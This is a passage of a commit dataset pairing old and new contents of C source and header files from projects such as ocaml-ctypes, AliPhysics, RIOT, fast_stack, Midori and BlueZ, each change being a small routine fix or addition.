{"commit":"79ad033eb47e12d5ea50015d10855c6ff3bc535b","old_file":"src\/ctypes\/type_info_stubs.h","new_file":"src\/ctypes\/type_info_stubs.h","old_contents":"\/*\n * Copyright (c) 2013 Jeremy Yallop.\n *\n * This file is distributed under the terms of the MIT License.\n * See the file LICENSE for details.\n *\/\n\n#ifndef TYPE_INFO_STUBS_H\n#define TYPE_INFO_STUBS_H\n\n#include <caml\/mlvalues.h>\n#include <caml\/fail.h>\n#include <caml\/callback.h>\n\n\/* allocate_unpassable_struct_type_info : (size, alignment) -> _ ctype *\/\nvalue ctypes_allocate_unpassable_struct_type_info(int size, int alignment);\n\n\/* Read a C value from a block of memory *\/\n\/* read : 'a prim -> offset:int -> raw_pointer -> 'a *\/\nextern value ctypes_read(value ctype, value offset, value buffer);\n\n\/* Write a C value to a block of memory *\/\n\/* write : 'a prim -> offset:int -> 'a -> raw_pointer -> unit *\/\nextern value ctypes_write(value ctype, value offset, value v, value buffer);\n\n#endif \/* TYPE_INFO_STUBS_H *\/\n","new_contents":"\/*\n * Copyright (c) 2013 Jeremy Yallop.\n *\n * This file is distributed under the terms of the MIT License.\n * See the file LICENSE for details.\n *\/\n\n#ifndef TYPE_INFO_STUBS_H\n#define TYPE_INFO_STUBS_H\n\n#include <caml\/mlvalues.h>\n\n\/* Read a C value from a block of memory *\/\n\/* read : 'a prim -> offset:int -> raw_pointer -> 'a *\/\nextern value ctypes_read(value ctype, value offset, value buffer);\n\n\/* Write a C value to a block of memory *\/\n\/* write : 'a prim -> offset:int -> 'a -> raw_pointer -> unit *\/\nextern value ctypes_write(value ctype, value offset, value v, value buffer);\n\n#endif \/* TYPE_INFO_STUBS_H *\/\n","subject":"Remove another obsolete function declaration.","message":"Remove another obsolete function declaration.\n","lang":"C","license":"mit","repos":"yallop\/ocaml-ctypes,fdopen\/ocaml-ctypes,dsheets\/ocaml-ctypes,sjfloat\/ocaml-ctypes,yallop\/ocaml-ctypes,whitequark\/ocaml-ctypes,whitequark\/ocaml-ctypes,sjfloat\/ocaml-ctypes,sjfloat\/ocaml-ctypes,dsheets\/ocaml-ctypes,fdopen\/ocaml-ctypes,fdopen\/ocaml-ctypes,whitequark\/ocaml-ctypes,dsheets\/ocaml-ctypes,ocamllabs\/ocaml-ctypes,ocamllabs\/ocaml-ctypes"}
{"commit":"d2ed7959a892af6dfe0fc07d772ee3e7bfc70235","old_file":"src\/systems\/SimplePhysics.h","new_file":"src\/systems\/SimplePhysics.h","old_contents":"#pragma  once\n\n#include \"..\/IFactory.h\"\n#include \"..\/ISystem.h\"\n\n#include <string>\n#include <vector>\n#include <map>\n#include \"..\/AABBTree.h\"\n\nclass Property;\nclass IMoverComponent;\n\nclass SimplePhysics\n    : public Sigma::IFactory, public ISystem<IMoverComponent> {\npublic:\n\tSimplePhysics() { }\n\t~SimplePhysics() { };\n\t\/**\n\t * \\brief Starts the Simple Physics system.\n\t *\n\t * \\return bool Returns false on startup failure.\n\t *\/\n\tbool Start() { }\n\n\t\/**\n\t * \\brief Causes an update in the system based on the change in time.\n\t *\n\t * Updates the state of the system based off how much time has elapsed since the last update.\n\t * \\param[in] const float delta The change in time since the last update\n\t * \\return bool Returns true if we had an update interval passed.\n\t *\/\n\tbool Update(const double delta);\n\n    std::map<std::string,FactoryFunction> getFactoryFunctions();\n\tvoid createPhysicsMover(const unsigned int entityID, std::vector<Property> &properties) ;\n\tvoid createViewMover(const unsigned int entityID, std::vector<Property> &properties) ;\n\tvoid createAABBTree(const unsigned int entityID, std::vector<Property> &properties) ;\nprivate:\n\tstd::map<unsigned int, Sigma::AABBTree*> colliders;\n};\n","new_contents":"#pragma  once\n\n#include \"..\/IFactory.h\"\n#include \"..\/ISystem.h\"\n\n#include <string>\n#include <vector>\n#include <map>\n#include \"..\/AABBTree.h\"\n\nclass Property;\nclass IMoverComponent;\n\nclass SimplePhysics\n    : public Sigma::IFactory, public ISystem<IMoverComponent> {\npublic:\n\tSimplePhysics() { }\n\t~SimplePhysics() { };\n\t\/**\n\t * \\brief Starts the Simple Physics system.\n\t *\n\t * \\return bool Returns false on startup failure.\n\t *\/\n\tbool Start() { }\n\n\t\/**\n\t * \\brief Causes an update in the system based on the change in time.\n\t *\n\t * Updates the state of the system based off how much time has elapsed since the last update.\n\t * \\param[in] const float delta The change in time since the last update\n\t * \\return bool Returns true if we had an update interval passed.\n\t *\/\n\tbool Update(const double delta);\n\n    std::map<std::string,FactoryFunction> getFactoryFunctions();\n\tvoid createPhysicsMover(const unsigned int entityID, std::vector<Property> &properties) ;\n\tvoid createViewMover(const unsigned int entityID, std::vector<Property> &properties) ;\n\tvoid createAABBTree(const unsigned int entityID, std::vector<Property> &properties) ;\n\n\tSigma::AABBTree* GetCollider(const unsigned int entityID) {\n\t\tif (this->colliders.find(entityID) != this->colliders.end()) {\n\t\t\treturn this->colliders[entityID];\n\t\t}\n\t\treturn nullptr;\n\t}\nprivate:\n\tstd::map<unsigned int, Sigma::AABBTree*> colliders;\n};\n","subject":"Add the ability to get Colliders from SImplePhysics","message":"Add the ability to get Colliders from SImplePhysics\n","lang":"C","license":"mit","repos":"adam4813\/Sigma,adam4813\/Sigma"}
{"commit":"218edbbeb90d26f3c1a3934b8eae931ac972b957","old_file":"PWGCF\/PWGCFChaoticityLinkDef.h","new_file":"PWGCF\/PWGCFChaoticityLinkDef.h","old_contents":"#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliChaoticity+;\n#pragma link C++ class AliThreePionRadii+;\n#pragma link C++ class AliChaoticityEventCollection+;\n#pragma link C++ class AliChaoticityEventStruct+;\n#pragma link C++ class AliChaoticityTrackStruct+;\n#pragma link C++ class AliChaoticityMCStruct+;\n#pragma link C++ class AliChaoticityPairStruct+;\n#pragma link C++ class AliChaoticityNormPairStruct+;\n","new_contents":"#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliChaoticity+;\n#pragma link C++ class AliThreePionRadii+;\n#pragma link C++ class AliChaoticityEventCollection+;\n#pragma link C++ class AliChaoticityEventStruct+;\n#pragma link C++ class AliChaoticityTrackStruct+;\n#pragma link C++ class AliChaoticityMCStruct+;\n#pragma link C++ class AliChaoticityPairStruct+;\n#pragma link C++ class AliChaoticityNormPairStruct+;\n\n#pragma link C++ class AliFourPion+;\n#pragma link C++ class AliFourPionEventCollection+;\n#pragma link C++ class AliFourPionEventStruct+;\n#pragma link C++ class AliFourPionTrackStruct+;\n#pragma link C++ class AliFourPionMCStruct+;\n","subject":"Update compile code for 4-pion analysis","message":"Update compile code for 4-pion analysis\n","lang":"C","license":"bsd-3-clause","repos":"alisw\/AliPhysics,jmargutt\/AliPhysics,btrzecia\/AliPhysics,btrzecia\/AliPhysics,victor-gonzalez\/AliPhysics,amaringarcia\/AliPhysics,akubera\/AliPhysics,fcolamar\/AliPhysics,lcunquei\/AliPhysics,dstocco\/AliPhysics,sebaleh\/AliPhysics,mkrzewic\/AliPhysics,mazimm\/AliPhysics,mazimm\/AliPhysics,akubera\/AliPhysics,nschmidtALICE\/AliPhysics,AMechler\/AliPhysics,dmuhlhei\/AliPhysics,sebaleh\/AliPhysics,hzanoli\/AliPhysics,mkrzewic\/AliPhysics,jmargutt\/AliPhysics,sebaleh\/AliPhysics,mbjadhav\/AliPhysics,hcab14\/AliPhysics,aaniin\/AliPhysics,dmuhlhei\/AliPhysics,ppribeli\/AliPhysics,mpuccio\/AliPhysics,AMechler\/AliPhysics,mbjadhav\/AliPhysics,dlodato\/AliPhysics,victor-gonzalez\/AliPhysics,fcolamar\/AliPhysics,preghenella\/AliPhysics,amatyja\/AliPhysics,fcolamar\/AliPhysics,mazimm\/AliPhysics,dlodato\/AliPhysics,rihanphys\/AliPhysics,ppribeli\/AliPhysics,dmuhlhei\/AliPhysics,mvala\/AliPhysics,jmargutt\/AliPhysics,yowatana\/AliPhysics,btrzecia\/AliPhysics,nschmidtALICE\/AliPhysics,AMechler\/AliPhysics,pchrista\/AliPhysics,adriansev\/AliPhysics,amaringarcia\/AliPhysics,fbellini\/AliPhysics,kreisl\/AliPhysics,lcunquei\/AliPhysics,AMechler\/AliPhysics,kreisl\/AliPhysics,fbellini\/AliPhysics,victor-gonzalez\/AliPhysics,hzanoli\/AliPhysics,dlodato\/AliPhysics,pbatzing\/AliPhysics,alisw\/AliPhysics,rbailhac\/AliPhysics,AudreyFrancisco\/AliPhysics,akubera\/AliPhysics,pbuehler\/AliPhysics,hcab14\/AliPhysics,mvala\/AliPhysics,mpuccio\/AliPhysics,fcolamar\/AliPhysics,adriansev\/AliPhysics,ALICEHLT\/AliPhysics,yowatana\/AliPhysics,rbailhac\/AliPhysics,preghenella\/AliPhysics,lfeldkam\/AliPhysics,alisw\/AliPhysics,AudreyFrancisco\/AliPhysics,pchrista\/AliPhysics,pchrista\/AliPhysics,hzanoli\/AliPhysics,hcab14\/AliPhysics,kreisl\/AliPhysics,mazimm\/AliPhysics,ppribeli\/AliPhysics,nschmidtALICE\/AliPhysics,jmargutt\/AliPhysics,fcolamar\/AliPhysics,lfeldkam\/AliPhysics,AudreyFrancisco\/AliPhysics,rderradi\/AliPhysics,mpuccio\/AliPhysics,dstocco\/AliPhysics,mvala\/AliPhysics,akubera\/AliPhysics,mvala\/AliPhysics,rihanphys\/AliPhysics,dmuhlhei\/AliPhysics,aaniin\/AliPhysics,rderradi\/AliPhysics,hcab14\/AliPhysics,dstocco\/AliPhysics,lfeldkam\/AliPhysics,aaniin\/AliPhysics,nschmidtALICE\/AliPhysics,jmargutt\/AliPhysics,dlodato\/AliPhysics,sebaleh\/AliPhysics,dstocco\/AliPhysics,fcolamar\/AliPhysics,rihanphys\/AliPhysics,mkrzewic\/AliPhysics,mvala\/AliPhysics,ALICEHLT\/AliPhysics,yowatana\/AliPhysics,kreisl\/AliPhysics,mkrzewic\/AliPhysics,lcunquei\/AliPhysics,SHornung1\/AliPhysics,rbailhac\/AliPhysics,jgronefe\/AliPhysics,pbatzing\/AliPhysics,carstooon\/AliPhysics,jgronefe\/AliPhysics,yowatana\/AliPhysics,pbuehler\/AliPhysics,ppribeli\/AliPhysics,pbuehler\/AliPhysics,lcunquei\/AliPhysics,ALICEHLT\/AliPhysics,AMechler\/AliPhysics,jmargutt\/AliPhysics,victor-gonzalez\/AliPhysics,rbailhac\/AliPhysics,rihanphys\/AliPhysics,lcunquei\/AliPhysics,SHornung1\/AliPhysics,preghenella\/AliPhysics,AudreyFrancisco\/AliPhysics,aaniin\/AliPhysics,sebaleh\/AliPhysics,hcab14\/AliPhysics,ALICEHLT\/AliPhysics,rihanphys\/AliPhysics,pbatzing\/AliPhysics,pchrista\/AliPhysics,amatyja\/AliPhysics,aaniin\/AliPhysics,akubera\/AliPhysics,preghenella\/AliPhysics,mvala\/AliPhysics,amatyja\/AliPhysics,victor-gonzalez\/AliPhysics,hzanoli\/AliPhysics,akubera\/AliPhysics,preghenella\/AliPhysics,aaniin\/AliPhysics,amaringarcia\/AliPhysics,mbjadhav\/AliPhysics,rihanphys\/AliPhysics,carstooon\/AliPhysics,AMechler\/AliPhysics,amaringarcia\/AliPhysics,carstooon\/AliPhysics,dlodato\/AliPhysics,jgronefe\/AliPhysics,adriansev\/AliPhysics,SHornung1\/AliPhysics,kreisl\/AliPhysics,lcunquei\/AliPhysics,nschmidtALICE\/AliPhysics,preghenella\/AliPhysics,dmuhlhei\/AliPhysics,hzanoli\/AliPhysics,carstooon\/AliPhysics,adriansev\/AliPhysics,pbatzing\/AliPhysics,jgronefe\/AliPhysics,dmuhlhei\/AliPhysics,pbatzing\/AliPhysics,adriansev\/AliPhysics,rbailhac\/AliPhysics,fbellini\/AliPhysics,SHornung1\/AliPhysics,dlodato\/AliPhysics,lfeldkam\/AliPhysics,AudreyFrancisco\/AliPhysics,hcab14\/AliPhysics,rderradi\/AliPhysics,ALICEHLT\/AliPhysics,rihanphys\/AliPhysics,preghenella\/AliPhysics,ppribeli\/AliPhysics,jgronefe\/AliPhysics,AudreyFrancisco\/AliPhysics,adriansev\/AliPhysics,hcab14\/AliPhysics,lcunquei\/AliPhysics,btrzecia\/AliPhysics,btrzecia\/AliPhysics,pbuehler\/AliPhysics,mpuccio\/AliPhysics,kreisl\/AliPhysics,dmuhlhei\/AliPhysics,fbellini\/AliPhysics,dlodato\/AliPhysics,mazimm\/AliPhysics,kreisl\/AliPhysics,victor-gonzalez\/AliPhysics,pbuehler\/AliPhysics,mpuccio\/AliPhysics,yowatana\/AliPhysics,pbuehler\/AliPhysics,ppribeli\/AliPhysics,SHornung1\/AliPhysics,lfeldkam\/AliPhysics,amatyja\/AliPhysics,fbellini\/AliPhysics,dstocco\/AliPhysics,SHornung1\/AliPhysics,mazimm\/AliPhysics,sebaleh\/AliPhysics,jmargutt\/AliPhysics,carstooon\/AliPhysics,amatyja\/AliPhysics,mkrzewic\/AliPhysics,mkrzewic\/AliPhysics,ALICEHLT\/AliPhysics,rderradi\/AliPhysics,rderradi\/AliPhysics,mpuccio\/AliPhysics,carstooon\/AliPhysics,alisw\/AliPhysics,mazimm\/AliPhysics,mkrzewic\/AliPhysics,dstocco\/AliPhysics,nschmidtALICE\/AliPhysics,amaringarcia\/AliPhysics,fbellini\/AliPhysics,alisw\/AliPhysics,ALICEHLT\/AliPhysics,pchrista\/AliPhysics,mbjadhav\/AliPhysics,mbjadhav\/AliPhysics,dstocco\/AliPhysics,btrzecia\/AliPhysics,pchrista\/AliPhysics,pbatzing\/AliPhysics,lfeldkam\/AliPhysics,amatyja\/AliPhysics,sebaleh\/AliPhysics,AudreyFrancisco\/AliPhysics,btrzecia\/AliPhysics,carstooon\/AliPhysics,yowatana\/AliPhysics,alisw\/AliPhysics,AMechler\/AliPhysics,rbailhac\/AliPhysics,pbatzing\/AliPhysics,rbailhac\/AliPhysics,mpuccio\/AliPhysics,amaringarcia\/AliPhysics,jgronefe\/AliPhysics,fcolamar\/AliPhysics,rderradi\/AliPhysics,pbuehler\/AliPhysics,nschmidtALICE\/AliPhysics,amaringarcia\/AliPhysics,mbjadhav\/AliPhysics,alisw\/AliPhysics,victor-gonzalez\/AliPhysics,ppribeli\/AliPhysics,jgronefe\/AliPhysics,adriansev\/AliPhysics,aaniin\/AliPhysics,yowatana\/AliPhysics,fbellini\/AliPhysics,lfeldkam\/AliPhysics,mbjadhav\/AliPhysics,rderradi\/AliPhysics,amatyja\/AliPhysics,pchrista\/AliPhysics,hzanoli\/AliPhysics,mvala\/AliPhysics,hzanoli\/AliPhysics,SHornung1\/AliPhysics,akubera\/AliPhysics"}
{"commit":"ef7d0d8445f2f0953af9c87929e0a4d9859fa017","old_file":"slave.h","new_file":"slave.h","old_contents":"#include \"modlib.h\"\n#include \"parser.h\"\n#include \"exception.h\"\n\n\/\/Types\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Response frame content\n} MODBUSResponseStatus; \/\/Type containing information about frame that is set up at slave side\n\ntypedef struct\n{\n\tuint8_t Address;\n\tuint16_t *Registers;\n\tuint16_t RegisterCount;\n\tMODBUSResponseStatus Response;\n} MODBUSSlaveStatus; \/\/Type containing slave device configuration data\n\n\/\/Variables definitions\nextern MODBUSSlaveStatus MODBUSSlave; \/\/Slave configuration\n\n\/\/Function prototypes\nextern void MODBUSParseRequest( uint8_t *, uint8_t ); \/\/Parse and interpret given modbus frame on slave-side\nextern void MODBUSSlaveInit( uint8_t, uint16_t *, uint16_t ); \/\/Very basic init of slave side\n","new_contents":"#include \"modlib.h\"\n#include \"parser.h\"\n#include \"exception.h\"\n\n\/\/Types\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Response frame content\n} MODBUSResponseStatus; \/\/Type containing information about frame that is set up at slave side\n\ntypedef struct\n{\n\tuint8_t Address;\n\tuint16_t *Registers;\n\tuint16_t RegisterCount;\n\tMODBUSResponseStatus Response;\n} MODBUSSlaveStatus; \/\/Type containing slave device configuration data\n\n\/\/Variables definitions\nextern MODBUSSlaveStatus MODBUSSlave; \/\/Slave configuration\n\n\/\/Function prototypes\nextern void MODBUSException( uint8_t, uint8_t ); \/\/Generate exception response to response frame buffer\nextern void MODBUSParseRequest( uint8_t *, uint8_t ); \/\/Parse and interpret given modbus frame on slave-side\nextern void MODBUSSlaveInit( uint8_t, uint16_t *, uint16_t ); \/\/Very basic init of slave side\n","subject":"Add prototype of MODBUSException function","message":"Add prototype of MODBUSException function\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"ed4932362d20af4c06610592b0a13016df4aad16","old_file":"sys\/posix\/include\/sys\/bytes.h","new_file":"sys\/posix\/include\/sys\/bytes.h","old_contents":"\/*\n * Copyright (C) 2015 Martine Lenders <mlenders@inf.fu-berlin.de>\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @addtogroup  posix_sockets\n *\/\n\/**\n * @{\n *\n * @file\n * @brief   System-internal byte operations.\n *\n * @author  Martine Lenders <mlenders@inf.fu-berlin.de>\n *\/\n#ifndef SYS_BYTES_H\n#define SYS_BYTES_H\n\n#include <stddef.h>\n\n#include \"byteorder.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef __MACH__\ntypedef size_t socklen_t;           \/**< socket address length *\/\n#else\n\/* Defined for OSX with a different type *\/\ntypedef __darwin_socklen_t socklen_t;   \/**< socket address length *\/\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* SYS_BYTES_H *\/\n\/** @} *\/\n","new_contents":"\/*\n * Copyright (C) 2015 Martine Lenders <mlenders@inf.fu-berlin.de>\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @addtogroup  posix_sockets\n *\/\n\/**\n * @{\n *\n * @file\n * @brief   System-internal byte operations.\n *\n * @author  Martine Lenders <mlenders@inf.fu-berlin.de>\n *\/\n#ifndef SYS_BYTES_H\n#define SYS_BYTES_H\n\n#include <stddef.h>\n\n#include \"byteorder.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef size_t socklen_t;           \/**< socket address length *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* SYS_BYTES_H *\/\n\/** @} *\/\n","subject":"Revert \"posix\/osx: fix type conflict on OSX native\"","message":"Revert \"posix\/osx: fix type conflict on OSX native\"\n\nThis reverts commit dcebfb11bc5a861c711e58838eec5b0131d020e2.\n","lang":"C","license":"lgpl-2.1","repos":"OlegHahm\/RIOT,yogo1212\/RIOT,toonst\/RIOT,toonst\/RIOT,josephnoir\/RIOT,mfrey\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,BytesGalore\/RIOT,x3ro\/RIOT,lazytech-org\/RIOT,A-Paul\/RIOT,toonst\/RIOT,rfuentess\/RIOT,biboc\/RIOT,kbumsik\/RIOT,BytesGalore\/RIOT,aeneby\/RIOT,smlng\/RIOT,yogo1212\/RIOT,kbumsik\/RIOT,cladmi\/RIOT,smlng\/RIOT,kYc0o\/RIOT,lazytech-org\/RIOT,OlegHahm\/RIOT,neiljay\/RIOT,miri64\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,BytesGalore\/RIOT,RIOT-OS\/RIOT,kaspar030\/RIOT,authmillenon\/RIOT,neiljay\/RIOT,biboc\/RIOT,gebart\/RIOT,avmelnikoff\/RIOT,basilfx\/RIOT,x3ro\/RIOT,kYc0o\/RIOT,cladmi\/RIOT,mfrey\/RIOT,A-Paul\/RIOT,kYc0o\/RIOT,smlng\/RIOT,authmillenon\/RIOT,cladmi\/RIOT,ant9000\/RIOT,ant9000\/RIOT,kaspar030\/RIOT,ant9000\/RIOT,mtausig\/RIOT,kaspar030\/RIOT,jasonatran\/RIOT,OlegHahm\/RIOT,BytesGalore\/RIOT,cladmi\/RIOT,RIOT-OS\/RIOT,mfrey\/RIOT,OTAkeys\/RIOT,yogo1212\/RIOT,toonst\/RIOT,miri64\/RIOT,RIOT-OS\/RIOT,josephnoir\/RIOT,gebart\/RIOT,authmillenon\/RIOT,avmelnikoff\/RIOT,aeneby\/RIOT,rfuentess\/RIOT,gebart\/RIOT,x3ro\/RIOT,avmelnikoff\/RIOT,A-Paul\/RIOT,rfuentess\/RIOT,gebart\/RIOT,BytesGalore\/RIOT,x3ro\/RIOT,authmillenon\/RIOT,neiljay\/RIOT,yogo1212\/RIOT,kbumsik\/RIOT,OTAkeys\/RIOT,basilfx\/RIOT,OTAkeys\/RIOT,kYc0o\/RIOT,lazytech-org\/RIOT,josephnoir\/RIOT,kbumsik\/RIOT,neiljay\/RIOT,ant9000\/RIOT,neiljay\/RIOT,lazytech-org\/RIOT,jasonatran\/RIOT,rfuentess\/RIOT,biboc\/RIOT,josephnoir\/RIOT,mfrey\/RIOT,mtausig\/RIOT,basilfx\/RIOT,A-Paul\/RIOT,basilfx\/RIOT,aeneby\/RIOT,kYc0o\/RIOT,kaspar030\/RIOT,OTAkeys\/RIOT,toonst\/RIOT,authmillenon\/RIOT,miri64\/RIOT,mfrey\/RIOT,ant9000\/RIOT,OlegHahm\/RIOT,biboc\/RIOT,aeneby\/RIOT,x3ro\/RIOT,miri64\/RIOT,kaspar030\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,jasonatran\/RIOT,smlng\/RIOT,biboc\/RIOT,smlng\/RIOT,kbumsik\/RIOT,yogo1212\/RIOT,cladmi\/RIOT,mtausig\/RIOT,jasonatran\/RIOT,A-Paul\/RIOT,mtausig\/RIOT,RIOT-OS\/RIOT,avmelnikoff\/RIOT,authmillenon\/RIOT,OTAkeys\/RIOT,basilfx\/RIOT,gebart\/RIOT,OlegHahm\/RIOT,jasonatran\/RIOT,miri64\/RIOT,mtausig\/RIOT,lazytech-org\/RIOT"}
{"commit":"d5e8df788f3d98034edc66090d33eaeaa3179d23","old_file":"ext\/fast_stack\/fast_stack.c","new_file":"ext\/fast_stack\/fast_stack.c","old_contents":"#include <stdio.h>\n#include <ruby.h>\n#include <ruby\/encoding.h>\n\nstatic VALUE\nprofiler_start(VALUE module, VALUE usec)\n{\n    struct itimerval timer;\n    timer.it_interval.tv_sec = 0;\n    timer.it_interval.tv_usec = NUM2LONG(usec);\n    timer.it_value = timer.it_interval;\n    setitimer(ITIMER_PROF, &timer, 0);\n\n    return Qnil;\n}\n\nstatic VALUE\nprofiler_stop(VALUE module)\n{\n    struct itimerval timer;\n    memset(&timer, 0, sizeof(timer));\n    setitimer(ITIMER_PROF, &timer, 0);\n\n    return Qnil;\n}\n\nstatic VALUE\nrb_profile_block(VALUE module, VALUE usec)\n{\n    rb_need_block();\n\n    profiler_start(module, usec);\n    rb_yield(Qundef);\n    profiler_stop(module);\n\n    return Qnil;\n}\n\nvoid Init_fast_stack( void )\n{\n  VALUE rb_mFastStack = rb_define_module(\"FastStack\");\n  rb_define_module_function(rb_mFastStack, \"profile_block\", rb_profile_block, 1);\n}\n","new_contents":"#include <stdio.h>\n#include <sys\/time.h>\n#include <ruby.h>\n#include <ruby\/encoding.h>\n\nstatic VALUE\nprofiler_start(VALUE module, VALUE usec)\n{\n    struct itimerval timer;\n    timer.it_interval.tv_sec = 0;\n    timer.it_interval.tv_usec = NUM2LONG(usec);\n    timer.it_value = timer.it_interval;\n    setitimer(ITIMER_PROF, &timer, 0);\n\n    return Qnil;\n}\n\nstatic VALUE\nprofiler_stop(VALUE module)\n{\n    struct itimerval timer;\n    memset(&timer, 0, sizeof(timer));\n    setitimer(ITIMER_PROF, &timer, 0);\n\n    return Qnil;\n}\n\nstatic VALUE\nrb_profile_block(VALUE module, VALUE usec)\n{\n    rb_need_block();\n\n    profiler_start(module, usec);\n    rb_yield(Qundef);\n    profiler_stop(module);\n\n    return Qnil;\n}\n\nvoid Init_fast_stack( void )\n{\n  VALUE rb_mFastStack = rb_define_module(\"FastStack\");\n  rb_define_module_function(rb_mFastStack, \"profile_block\", rb_profile_block, 1);\n}\n","subject":"Fix \"storage size of 'timer' isn't known\" on Debian Squeeze","message":"Fix \"storage size of 'timer' isn't known\" on Debian Squeeze\n\nstruct itimerval defined in sys\/time.h","lang":"C","license":"mit","repos":"SamSaffron\/fast_stack,joshuaflanagan\/fast_stack,lowjoel\/fast_stack,lowjoel\/fast_stack,joshuaflanagan\/fast_stack,SamSaffron\/fast_stack"}
{"commit":"89e72b73d34f176c3002e79f52219a9647593d3b","old_file":"extensions\/tabs-minimized.c","new_file":"extensions\/tabs-minimized.c","old_contents":"","new_contents":"\/*\n Copyright (C) 2008-2010 Christian Dywan <christian@twotoasts.de>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See the file COPYING for the full license text.\n*\/\n\n#include <midori\/midori.h>\n#include <midori\/sokoke.h>\n\nstatic void\ntabs_minimized_app_add_browser_cb (MidoriApp*       app,\n                                   MidoriBrowser*   browser,\n                                   MidoriExtension* extension);\n\nstatic void\ntabs_minimized_deactivate_cb (MidoriExtension* extension,\n                              MidoriBrowser*   browser)\n{\n    MidoriApp* app = midori_extension_get_app (extension);\n\n    g_signal_handlers_disconnect_by_func (\n        extension, tabs_minimized_deactivate_cb, browser);\n    g_signal_handlers_disconnect_by_func (\n        app, tabs_minimized_app_add_browser_cb, extension);\n}\n\nstatic void\ntabs_minimized_add_tab_cb (MidoriApp*       app,\n                           MidoriView*      tab,\n                           MidoriExtension* extension)\n{\n    g_object_set (tab, \"minimized\", TRUE, NULL);\n}\n\nstatic void\ntabs_minimized_app_add_browser_cb (MidoriApp*       app,\n                                   MidoriBrowser*   browser,\n                                   MidoriExtension* extension)\n{\n    g_signal_connect (browser, \"add-tab\",\n        G_CALLBACK (tabs_minimized_add_tab_cb), extension);\n    g_signal_connect (extension, \"deactivate\",\n        G_CALLBACK (tabs_minimized_deactivate_cb), browser);\n}\n\nstatic void\ntabs_minimized_activate_cb (MidoriExtension* extension,\n                            MidoriApp*       app)\n{\n    KatzeArray* browsers;\n    MidoriBrowser* browser;\n    guint i;\n\n    browsers = katze_object_get_object (app, \"browsers\");\n    i = 0;\n    while ((browser = katze_array_get_nth_item (browsers, i++)))\n        tabs_minimized_app_add_browser_cb (app, browser, extension);\n    g_object_unref (browsers);\n    g_signal_connect (app, \"add-browser\",\n        G_CALLBACK (tabs_minimized_app_add_browser_cb), extension);\n}\n\nMidoriExtension*\nextension_init (void)\n{\n    MidoriExtension* extension = g_object_new (MIDORI_TYPE_EXTENSION,\n        \"name\", _(\"Minimize new Tabs\"),\n        \"description\", _(\"New tabs open minimized\"),\n        \"version\", \"0.1\",\n        \"authors\", \"MonkeyOfDoom <pixelmonkey@ensellitis.com>\",\n        NULL);\n\n    g_signal_connect (extension, \"activate\",\n        G_CALLBACK (tabs_minimized_activate_cb), NULL);\n\n    return extension;\n}\n\n","subject":"Add extension 'Minimize new Tabs'","message":"Add extension 'Minimize new Tabs'\n\nOnce it is activated the extension will minimize all newly opened\ntabs by default.\n","lang":"C","license":"lgpl-2.1","repos":"OoberMick\/Midori,OoberMick\/Midori"}
{"commit":"dece25be6d34c098514ada240a52e13b6c8946c1","old_file":"common\/sdp-dummy.c","new_file":"common\/sdp-dummy.c","old_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2005-2006  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <errno.h>\n\n#include \"logging.h\"\n#include \"sdp-xml.h\"\n\nsdp_record_t *sdp_xml_parse_record(const char *data, int size)\n{\n\terror(\"No XML parser available\");\n\n\treturn -1;\n}\n","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2005-2006  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <errno.h>\n\n#include \"logging.h\"\n#include \"sdp-xml.h\"\n\nsdp_record_t *sdp_xml_parse_record(const char *data, int size)\n{\n\terror(\"No XML parser available\");\n\n\treturn NULL;\n}\n","subject":"Return NULL in case of the dummy XML parser","message":"Return NULL in case of the dummy XML 